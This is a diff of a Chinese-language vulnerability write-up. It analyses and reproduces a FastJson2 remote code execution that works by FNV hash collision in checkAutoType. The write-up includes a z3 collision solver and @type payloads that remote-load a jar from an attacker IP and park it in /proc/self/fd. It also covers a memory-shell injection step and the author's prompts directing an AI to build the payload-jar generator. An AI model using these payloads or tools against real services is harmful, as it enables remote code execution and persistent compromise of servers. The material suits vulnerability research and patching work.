diff --git a/books/FastJson2 Hash 碰撞 RCE 分析与复现.md b/books/FastJson2 Hash 碰撞 RCE 分析与复现.md index c24a6c0..8563bb1 100644 --- a/books/FastJson2 Hash 碰撞 RCE 分析与复现.md +++ b/books/FastJson2 Hash 碰撞 RCE 分析与复现.md @@ -1,14 +1,15 @@ # FastJson2 Hash 碰撞 RCE 分析与复现 > 来源:https://xz.aliyun.com/news/92608 -# 前置说明 - -参考: [https://mp.weixin.qq.com/s/LJaul1jNjK9pXRAkoUiMEA](https://mp.weixin.qq.com/s/LJaul1jNjK9pXRAkoUiMEA), 来跟进一下漏洞原理. - -测试使用的依赖: +## 前置说明 - +参考: [https://mp.weixin.qq.com/s/LJaul1jNjK9pXRAkoUiMEA](https://mp.weixin.qq.com/s/LJaul1jNjK9pXRAkoUiMEA), 来跟进一下漏洞原理. + +测试使用的依赖: + + + ``` @@ -19,13 +20,16 @@ ``` - -# 默认场景 - -总结一下 FastJson2 下的 autotype 如何使用, 首先是指明第二个参数为一个 JavaBean 的场景, 传参不使用 autotype: - + +## 默认场景 + + +总结一下 FastJson2 下的 autotype 如何使用, 首先是指明第二个参数为一个 JavaBean 的场景, 传参不使用 autotype: + + + ``` // ──────────────────────────────────────────────────────────── @@ -59,11 +63,11 @@ System.out.println(); ``` - -当然如果使用带 @type 的场景, 如下: - - +当然如果使用带 @type 的场景, 如下: + + + ``` String jsonWithType = "{\"@type\":\"com.heihu577.model.User\",\"name\":\"alice\",\"age\":25,\"email\":\"alice@lab.local\"}"; @@ -91,13 +95,13 @@ System.out.println(); ``` - + 默认会反序列化成com.alibaba.fastjson2.JSONObject类对象, 除非第二个参数指明为一个 JavaBean: - + + - -``` +```java User u2 = JSON.parseObject(jsonWithType, User.class); System.out.println("[4] 带 @type 的 JSON, 指定目标类 User.class (不开 SupportAutoType):"); System.out.println(" 输入: " + jsonWithType); @@ -112,26 +116,30 @@ System.out.println(); */ ``` -## 解析流程 - -根据当前解析结果来看, fastjson2 是能够正常解析@type字段的, 只不过若不指明第二个参数则会先被转化为JSONObject, 对原有的 JSON 对 User 类打上断点查看一番: +### 解析流程 - +根据当前解析结果来看, fastjson2 是能够正常解析@type字段的, 只不过若不指明第二个参数则会先被转化为JSONObject, 对原有的 JSON 对 User 类打上断点查看一番: + + + ![95c4a05c-be99-4587-af3b-91e6a68decfd.png](https://i.ibb.co/5XFmYKLp/cb9fe00d3c9b.png) - + 那么必然与 fastjson 1.x 的处理逻辑相同, 通过字节码编辑技术在内存中定义了字节码信息, 这里有两种思路定位到字节码文件: - + ●通过 arthas 将该类的字节码导出 - + ●找到更深层次 ASM 操作部分, 将字节码写入到硬盘进行反编译 - + 通过思路 2, 最终调用栈如下: + + + -```java +```java at com.alibaba.fastjson2.reader.ObjectReaderCreatorASM.jitObjectReader(ObjectReaderCreatorASM.java:594) at com.alibaba.fastjson2.reader.ObjectReaderCreatorASM.createObjectReader(ObjectReaderCreatorASM.java:327) at com.alibaba.fastjson2.reader.ObjectReaderProvider.getObjectReaderInternal(ObjectReaderProvider.java:845) @@ -141,85 +149,88 @@ at com.heihu577.demo.Demo01Basic.run(Demo01Basic.java:29) at com.heihu577.demo.Demo01Basic.main(Demo01Basic.java:17) ``` - - - + 导出一波: - - + + ![1bf88f69-0121-464c-987d-ac4ebed50e17.png](https://i.ibb.co/3yTSfDny/3e0213ed1be1.png) - -最终我们可以看到字节码信息: - - +最终我们可以看到字节码信息: + + + ![efbdf9ee-7776-4885-9e48-8bfeee4516b8.png](https://i.ibb.co/99s4p6jc/c4b88b80065b.png) - -这里说明一下实验时失败的尝试(ASM 输出并没有携带行号信息导致无法 Debug), 首先将导出出来的字节码符合包名结构, 保存到 jar 中: - - +这里说明一下实验时失败的尝试(ASM 输出并没有携带行号信息导致无法 Debug), 首先将导出出来的字节码符合包名结构, 保存到 jar 中: + + + ![dafa3b01-f783-402b-b46e-59f496e6d299.png](https://i.ibb.co/hFRJs3QS/c6372bd3238e.png) - -随后增加 classpath, 并且将其置顶: - - +随后增加 classpath, 并且将其置顶: + + + ![42b9238b-cd2c-4ca7-8db5-bc1388b5887c.png](https://i.ibb.co/Y4RP4LNk/b212fd84590f.png) 但是由于该字节码由 ASM 生成, 导致不存在行号信息, 可以安装: [https://github.com/Col-E/Recaf/releases/tag/4.0.0-alpha](https://github.com/Col-E/Recaf/releases/tag/4.0.0-alpha) 中的recaf-launcher-gui-0.8.8.jar来进行修复行号, 需要注意的是首次运行需要要求安装依赖库(javaFX 等), 使用 proxychains4 运行该 jar 进行安装可加快速度. 但在实际场景中发现反编译存在错误信息: - + ![e4282e04-04bf-4e50-b5ec-1bfc3076e8bd.png](https://i.ibb.co/7J4PwgVD/6cd28097c952.png) - -正常会调用该字节码的 readObject 方法, 并且整个 ASM 中不存在反射的逻辑: - - +正常会调用该字节码的 readObject 方法, 并且整个 ASM 中不存在反射的逻辑: + + + ![1b1518ab-74f4-4a26-a11b-8f90ef443d86.png](https://i.ibb.co/RkbCq6wP/4554190541b2.png) - -但部分方法会调用 checkAutoType: - - +但部分方法会调用 checkAutoType: + + + ![4f43bffc-7b9e-4a38-a899-4f6fb0955563.png](https://i.ibb.co/bjbdv7km/956e9f6f4595.png) - -# RCE 场景 - -参考: [https://mp.weixin.qq.com/s/4jl2kv\_JRSDUAUZyc1jw5A](https://mp.weixin.qq.com/s/4jl2kv_JRSDUAUZyc1jw5A), 官网的 commit 记录中存在对 payload 的测试记录: - +## RCE 场景 + + +参考: [https://mp.weixin.qq.com/s/4jl2kv\_JRSDUAUZyc1jw5A](https://mp.weixin.qq.com/s/4jl2kv_JRSDUAUZyc1jw5A), 官网的 commit 记录中存在对 payload 的测试记录: + + + ![b5b3ca4b-df8e-45db-9908-075fbdefd7ec.png](https://i.ibb.co/RkJRnvBC/52cc63f5fbbd.png) - + 可以看到期望类定义为了 Object, Debug 看一下: - + + + + -```java +```java package com.heihu577.demo; import com.alibaba.fastjson2.JSON; @@ -235,15 +246,14 @@ public class Demo { } ``` - - + + +调用栈为: + + -调用栈为: - - - -```java +```java at com.alibaba.fastjson2.reader.ObjectReaderProvider.checkAutoType(ObjectReaderProvider.java:554) at com.alibaba.fastjson2.reader.ObjectReaderProvider.getObjectReader(ObjectReaderProvider.java:530) at com.alibaba.fastjson2.JSONReader$Context.getObjectReaderAutoType(JSONReader.java:4194) @@ -252,33 +262,32 @@ at com.alibaba.fastjson2.JSON.parseObject(JSON.java:864) at com.heihu577.demo.Demo.main(Demo.java:10) ``` - - - + 可以看到这里并不是主动生成的 ASM, 当期望类指明为Object时而是系统提供的ObjectReaderImplObject类, 由provider.getObjectReader选择而来: - - + + ![abc56426-51dd-4907-b865-168673fe89e4.png](https://i.ibb.co/G3M7qhBj/56b13aa8f212.png) - -在ObjectReaderImplObject::readObject反序列化流程中会判断是否开启了 checkAutoType: - - +在ObjectReaderImplObject::readObject反序列化流程中会判断是否开启了 checkAutoType: + + + ![8b01895c-b5bd-4d02-b94f-279eafb5b1f6.png](https://i.ibb.co/wZQLkV1w/ae3f4c0bde08.png) - + 随后经过调用栈: + + + - - -```java +```java at com.alibaba.fastjson2.reader.ObjectReaderProvider.checkAutoType(ObjectReaderProvider.java:554) at com.alibaba.fastjson2.reader.ObjectReaderProvider.getObjectReader(ObjectReaderProvider.java:530) at com.alibaba.fastjson2.JSONReader$Context.getObjectReaderAutoType(JSONReader.java:4194) @@ -287,44 +296,45 @@ at com.alibaba.fastjson2.JSON.parseObject(JSON.java:864) at com.heihu577.demo.Demo.main(Demo.java:10) ``` - - - + 可以看到能够正常走到checkAutoType方法中, 该方法中如果发现开启了 SafeMode 则直接 null(漏洞缓解措施, 默认不开启): - - + + ![5e0aa420-973a-4fa2-8376-eb7af088ca56.png](https://i.ibb.co/YT0sXdMS/47915d4d4111.png) - -而后面的逻辑存在一个黑白名单校验的缺陷: - - +而后面的逻辑存在一个黑白名单校验的缺陷: + + + ![bb1087af-b01f-4919-a6c2-ffa74baa294c.png](https://i.ibb.co/hJsSsZ2h/72d928600274.png) 即使没有开启 autotype 功能, 同样会进入 hash 比较的逻辑, 那么如果这里的 hash 能够被暴力破解或其他手段猜测出来(由于这里 Hash 值的判断是根据结果进行判断,而过程中不同的字符参与异或|乘法运算是会存在冲突的结果的), 那么则会进入 loadClass 逻辑: - + ![1f220816-5521-45e6-8bf6-cd2c6f22b688.png](https://i.ibb.co/TDn50RXY/383da101a051.png) - + 又是一段经典的 ClassLoader::loadClass, 与fastjson 1.2.83中的原理相同. 若该 ClassLoader 为 SpringBoot 的 URLClassLoader 即可进行远程类加载. + -## hash 解密 & payload 调试 +### hash 解密 & payload 调试 + 参考: [https://zhuanlan.zhihu.com/p/30548907](https://zhuanlan.zhihu.com/p/30548907) & [https://ctf-wiki.org/reverse/tools/constraint/z3/](https://ctf-wiki.org/reverse/tools/constraint/z3/) & [https://www.freebuf.com/articles/web/232002.html](https://www.freebuf.com/articles/web/232002.html) - + 由于 FNV 算法使用了^= & \*=进行做位运算, 所以能列成方程组来解表达式: + + + - - -```python +```python #!/usr/bin/env python3 """ FNV-1a 64 位哈希碰撞求解器 (z3) @@ -513,60 +523,60 @@ if __name__ == '__main__': main() ``` - - + + +对应方程组: + + -对应方程组: - - ```python - 已知: - OFFSET = 0xcbf29ce484222325 - PRIME = 0x100000001b3 - target = -6293031534589903644 - - 方程(假设是 5 位数): - let h0 = OFFSET - let h1 = (h0 ^ c0) * PRIME - let h2 = (h1 ^ c1) * PRIME - let h3 = (h2 ^ c2) * PRIME - let h4 = (h3 ^ c3) * PRIME - let h5 = (h4 ^ c4) * PRIME - h5 == target - ``` - +```python +已知: + OFFSET = 0xcbf29ce484222325 + PRIME = 0x100000001b3 + target = -6293031534589903644 +方程(假设是 5 位数): + let h0 = OFFSET + let h1 = (h0 ^ c0) * PRIME + let h2 = (h1 ^ c1) * PRIME + let h3 = (h2 ^ c2) * PRIME + let h4 = (h3 ^ c3) * PRIME + let h5 = (h4 ^ c4) * PRIME + h5 == target +``` 解方程核心代码块: - - + + ![7ee9230b-8788-4f71-bae3-bcc95a1bb6ec.png](https://i.ibb.co/9HBBc3DR/76002f5e75b1.png) - -最终对应 fastjson 场景解密 -6293031534589903644 效果: - - +最终对应 fastjson 场景解密 -6293031534589903644 效果: + + + ![f65e13db-a03e-4de9-aa02-6e08e9b84338.png](https://i.ibb.co/GvfCmD5h/d7ab48446ea4.png) - -通过解方程的形式成功达到 Hash 碰撞的效果, 那么在此基础之上我们只需要将我们在 fastjson 1.2.83 中的 payload 作为前缀即可. 以任意字符为前缀的话, 对于 fastjson 的计算来说仅仅是起点不同了: - - +通过解方程的形式成功达到 Hash 碰撞的效果, 那么在此基础之上我们只需要将我们在 fastjson 1.2.83 中的 payload 作为前缀即可. 以任意字符为前缀的话, 对于 fastjson 的计算来说仅仅是起点不同了: + + + ![de3f01f7-7cd5-4b8b-a33c-1d3d9e56a3a9.png](https://i.ibb.co/B2sLh1ZW/9a77a52f43e6.png) - + 因为它是依次按照^= & \*=做位运算的, 丝毫不影响我们制作 payload, 定制 Python 脚本: - - + + + ```python #!/usr/bin/env python3 @@ -852,13 +862,12 @@ if __name__ == '__main__': main() ``` - - - + 生成远程加载的 payload: - - + + + ```python heihu577 @ ~/Desktop ❯ python fnv_collision.py --prefix "jar:http:..2887610369.2333.Hello\!.Hello" -6293031534589903644 @@ -914,12 +923,11 @@ heihu577 @ ~/Desktop ❯ python fnv_collision.py --prefix "jar:http:..2887610369 ════════════════════════════════════════════════════════════════ ``` - - - + 该 payload 能成功走向 loadClass 逻辑: - + + ```java @@ -929,59 +937,66 @@ Object obj = JSON.parseObject(jsonWithType, Object.class); System.out.println(obj); ``` - - -最终结果: - - + +最终结果: + + + ![a7b4dea2-5b46-47c9-be42-46622c245c6a.png](https://i.ibb.co/JFb9GtS1/fe174e1c7c09.png) + -## SpringBoot 中测试 +### SpringBoot 中测试 + 在 SpringBoot 中依旧能发送请求, 准备一个 SpringBoot 案例, 准备一个JSON.parseObject(可控,Object.class)可控端点即可. + -### fnv 计算步骤 +#### fnv 计算步骤 + 另外 Payload 使用 fastjson 1.2.83 的原有 payload 例如: + + + - - -```java +```java jar:http:..2887610369:2333.Hello!.Hello ``` - -原封不动的将其丢到 fnv 计算器中: - - +原封不动的将其丢到 fnv 计算器中: + + + ![b5d4f583-9b49-47bc-bbd7-b508246c966e.png](https://i.ibb.co/pBcV5ZhY/b3c139ef515f.png) - + 生成结果为: + + + - - -```java +```java jar:http:..2887610369:2333.Hello!.Hello\ue94c\uc17c\uf770\ua803\uc0d3 ``` - - + -### 驻留 jar 步骤 +#### 驻留 jar 步骤 + 若想要在目标中驻留该 jar 包, 以维持后续的 fd 利用, 则需要 jar 包中已包含Hello\\ue94c\\uc17c\\uf770\\ua803\\uc0d3.class这个文件, 但该文件由于文件名称为 Unicode 编码, 使用编程的场景更加方便, 编写新 python 脚本配合 fnv 脚本使用: - - + + + ```python #!/usr/bin/env python3 @@ -1173,153 +1188,171 @@ if __name__ == '__main__': main() ``` - - - + 最终结果: - - + + ![1b89afac-0b2d-4146-b880-af329b0c4c63.png](https://i.ibb.co/tt96WTs/4291027d0aae.png) - -当前仅是驻留到受害机 /proc/{pid}/fd 中案例, 先使用 0kb 的文件做测试: - - +当前仅是驻留到受害机 /proc/{pid}/fd 中案例, 先使用 0kb 的文件做测试: + + + ![图片.png](https://i.ibb.co/bcxJDxb/3098f6d4aae6.png) - + 最终驻留成功. + -### POC 调试 & 攻击案例 +#### POC 调试 & 攻击案例 + 刚才的脚本仅仅是将jar 中的 class 文件名称符合传递的@type中的资源值, 若想要满足 RCE 还需要该 class 文件的内容(字节码)的类名同样带有 Unicode 编码. 此时对 AI 对我原 fastjson 1.2.83 的脚本进行说明了: - - - + + + ```python 我这里有一个项目:/Users/heihu577/Desktop/fastjson2/tools/fastjson-1.2.83-rce-jar-generator-1.0.1/GenJarBatch.java,你可以 阅读一波 README.md 文件之后,再看一波该 java 源码,现在我给你定义新的需求。新增:fnv_add_unicode_file 功能,对 cmd 或 defineClass 生成的 jar 文件进行分析。1: 分析出来 cmd 或 defineClass 生成的 jar 包,通过查看包名的形式能够定位到 fd0.Exception(假设生成的 class 文件是该结构,如果存在多个目录中存在 class 文件就依次进行如下操作),那么你可以通过 ASM 类库或者其他手段分析包名以及类名的结构来拼接为之前案例中的: python fnv_collision.py --prefix "jar:http:..2887610369:2333.Hello\!.Hello" -6293031534589903644 中的 --prefix 部分(可能是 jar:file:.proc.self.fd.数字!. fd 数字.Exception)这种结构。2. 根据枚举出来的 包名类名结构,通过 python fnv_collision.py --prefix "jar:http:..2887610369:2333.Hello\!.Hello" -6293031534589903644 该脚本的逻辑来进行计算(是根据逻辑,但你需要写出对应 java 模块的功能来使得与该 python 的结果一致才行),得到其后缀需要增加的 Unicode 码部分。3. 你已经知道了要增加什么 Unicode 编码之后,你需要将 Hello 类中的字节码中的类名部分进行修改(可以使用 asm 实现),修改为 “Hello+Unicode 值”,并且将该 class 文件加入到 jar 包中(文件名同样符合类名规律)。整个过程全部使用 java 语言,禁止 java 中嵌套 python。 -``` - - - +``` - 坐等很长时间后, 又优化了一些细节: - + + ```python 最后生成的 jar 包中,不是含有 class 文件吗,然后会输出:“jar:file:.proc.self.fd.256!.fd256.Exception醍눲䕹ᄬ憬”,我现在想让你把每次处理完毕的结果保存到"result.txt" 中。并且内容是:jar:file:.proc.self.fd.!.fd.Exception,因为 fd 目录可能太多,然后你需要换行分割。 ``` - - + + 用于爆破时使用. 但外部 http 需要远程下载 jar 到 /proc/self/fd 中, 继续给 AI 思路: + + + - ```python - 现在对原有的 cmd/defineClass 做一个变更,就是写入 jar 文件中的 1.class 文件,为命令行中指明的 host 和 port 名称,或者整个命令行也可以。 - ``` +```python +现在对原有的 cmd/defineClass 做一个变更,就是写入 jar 文件中的 1.class 文件,为命令行中指明的 host 和 port 名称,或者整个命令行也可以。 +``` + + 这是因为自己原编写的 fastjson 1.2.83 payload 的命令行参数存在攻击者 IP 和 PORT, 需要符合后续包名. + + + ```python 让你做这一步,实际上是为了让你在 fnv_add_unicode_file 功能中增加两个需求:1. 解析 1.class 文件内容中的 ip 和 port 部分,组合为:jar:http:..:.<命令行中指明的文件名>!.1 2. 对组合结果进行 z3-fnv算法解方程,最后要拼接出:jar:http:..:.<命令行中指明的文件名>!.1 3. 拼接完成之后,在最终处理的 jar 包内增加这样一个真实文件,最最最后需要告诉用户首先使用该 payload 进行远程服务器下载。 ``` 最终实现效果, 先是工具提示远程拉取: - + + + ![573738ea-efc8-460a-99ff-ecb6eda2b69d.png](https://i.ibb.co/Zp3xzttz/72223aeb2fcb.png) - -随后是工具生成的 result.txt 进行爆破: - - +随后是工具生成的 result.txt 进行爆破: + + + ![a822e005-77ce-4d25-a68e-51bafd390b33.png](https://i.ibb.co/cHTpXW3/5ffebf574ea5.png) - + 另外这里调教 AI 使用了 java 的 z3 实现解方程的效果. - -### 内存马注入 - -先是用工具生成 jar, 生成完毕之后进行转换为 FastJson2 版本, 等待 Hash 碰撞完整 jar: - +##### 内存马注入 + + +先是用工具生成 jar, 生成完毕之后进行转换为 FastJson2 版本, 等待 Hash 碰撞完整 jar: + + + ![7f3a91df-e50e-4da5-9517-b447f97a7be8.png](https://i.ibb.co/twMfQfqT/881154ba7009.png) - -最终结果: - - +最终结果: + + + ![图片.png](https://i.ibb.co/sdrrRTyF/3825801bf50c.png) + -# 其他语法 +## 其他语法 + 参考: [https://mp.weixin.qq.com/s/1niSP0dXlYql7euC5tMwPw](https://mp.weixin.qq.com/s/1niSP0dXlYql7euC5tMwPw) 师傅的两个姿势, 除了 JSON.parseObject 以外仍然可以通过: + + + -```java +```python JSON.parseObject(可控,List.class) JSON.parseObject(可控,Set.class) JSON.parse(可控) ``` - - + + 进行 RCE, 简单跟一下: + + + -```java +```java String jsonWithType = "{\"@type\":\"jar:http:..2887610369.2333.Hello!.Hello\\u4124\\u130a\\u789a\\u4bf1\\ufcf5\",\"name\":\"alice\",\"age\":25,\"email\":\"alice@lab.local\"}"; // 不指定目标类,解析成 JSONObject Object obj = JSON.parseObject(jsonWithType, List.class); System.out.println(obj); ``` - - - - + + ![1eef94c8-abd1-4fa6-a96b-42e17bdde27a.png](https://i.ibb.co/mVk7zctZ/fdd5e6745113.png) - + 以及: + + + -```java +```java String jsonWithType = "{\"@type\":\"jar:http:..2887610369.2333.Hello!.Hello\\u4124\\u130a\\u789a\\u4bf1\\ufcf5\",\"name\":\"alice\",\"age\":25,\"email\":\"alice@lab.local\"}"; // 不指定目标类,解析成 JSONObject Object obj = JSON.parseObject(jsonWithType, Set.class); ``` - - - ![e9c10b23-f713-4caf-a5c9-ab3490792764.png](https://i.ibb.co/23dmfmpp/ed8a5f6df09d.png) - + 以及: + + + ```java String jsonWithType = "[{\"@type\":\"jar:http:..2887610369.2333.Hello!.Hello\\u4124\\u130a\\u789a\\u4bf1\\ufcf5\",\"name\":\"alice\",\"age\":25,\"email\":\"alice@lab.local\"}]"; @@ -1329,26 +1362,31 @@ System.out.println(obj); ``` - + ![07bf767e-feb0-4b96-89c0-7d868e03622b.png](https://i.ibb.co/1JhWNBgd/70c115ef590b.png) - -相对于 JSON.parse 来说, 多了一步选择器的操作: - - +相对于 JSON.parse 来说, 多了一步选择器的操作: + + + ![adf17043-6a29-4ae2-8df6-5b6c01e3029d.png](https://i.ibb.co/x8LS4Lrn/25febf05f1c0.png) + -## 其他补充 +### 其他补充 + 往上找一下看还有哪些语法能够调用该方法的 readObject, 查找了一番有如下类: + + + -```java +```java JSON.parseObject(jsonWithType, Collection.class); JSON.parseObject(jsonWithType, ArrayList.class); JSON.parseObject(jsonWithType, HashSet.class); @@ -1359,10 +1397,8 @@ JSON.parseObject(jsonWithType, Closeable.class); JSON.parseObject(jsonWithType, Object[].class); ``` - - 规律参考: - + | 子类 | 类型 | | --- | --- | @@ -1370,9 +1406,10 @@ JSON.parseObject(jsonWithType, Object[].class); | Queue/Deque 系 | Queue, Deque, AbstractSequentialList, LinkedList, ConcurrentLinkedDeque, ConcurrentLinkedQueue, CopyOnWriteArrayList | | Set 系 | Set, AbstractSet, EnumSet, NavigableSet, SortedSet, ConcurrentSkipListSet, LinkedHashSet, HashSet, TreeSet | - + 可能还有更多 parseObject 手法可打. - + + -# Ending... +## Ending...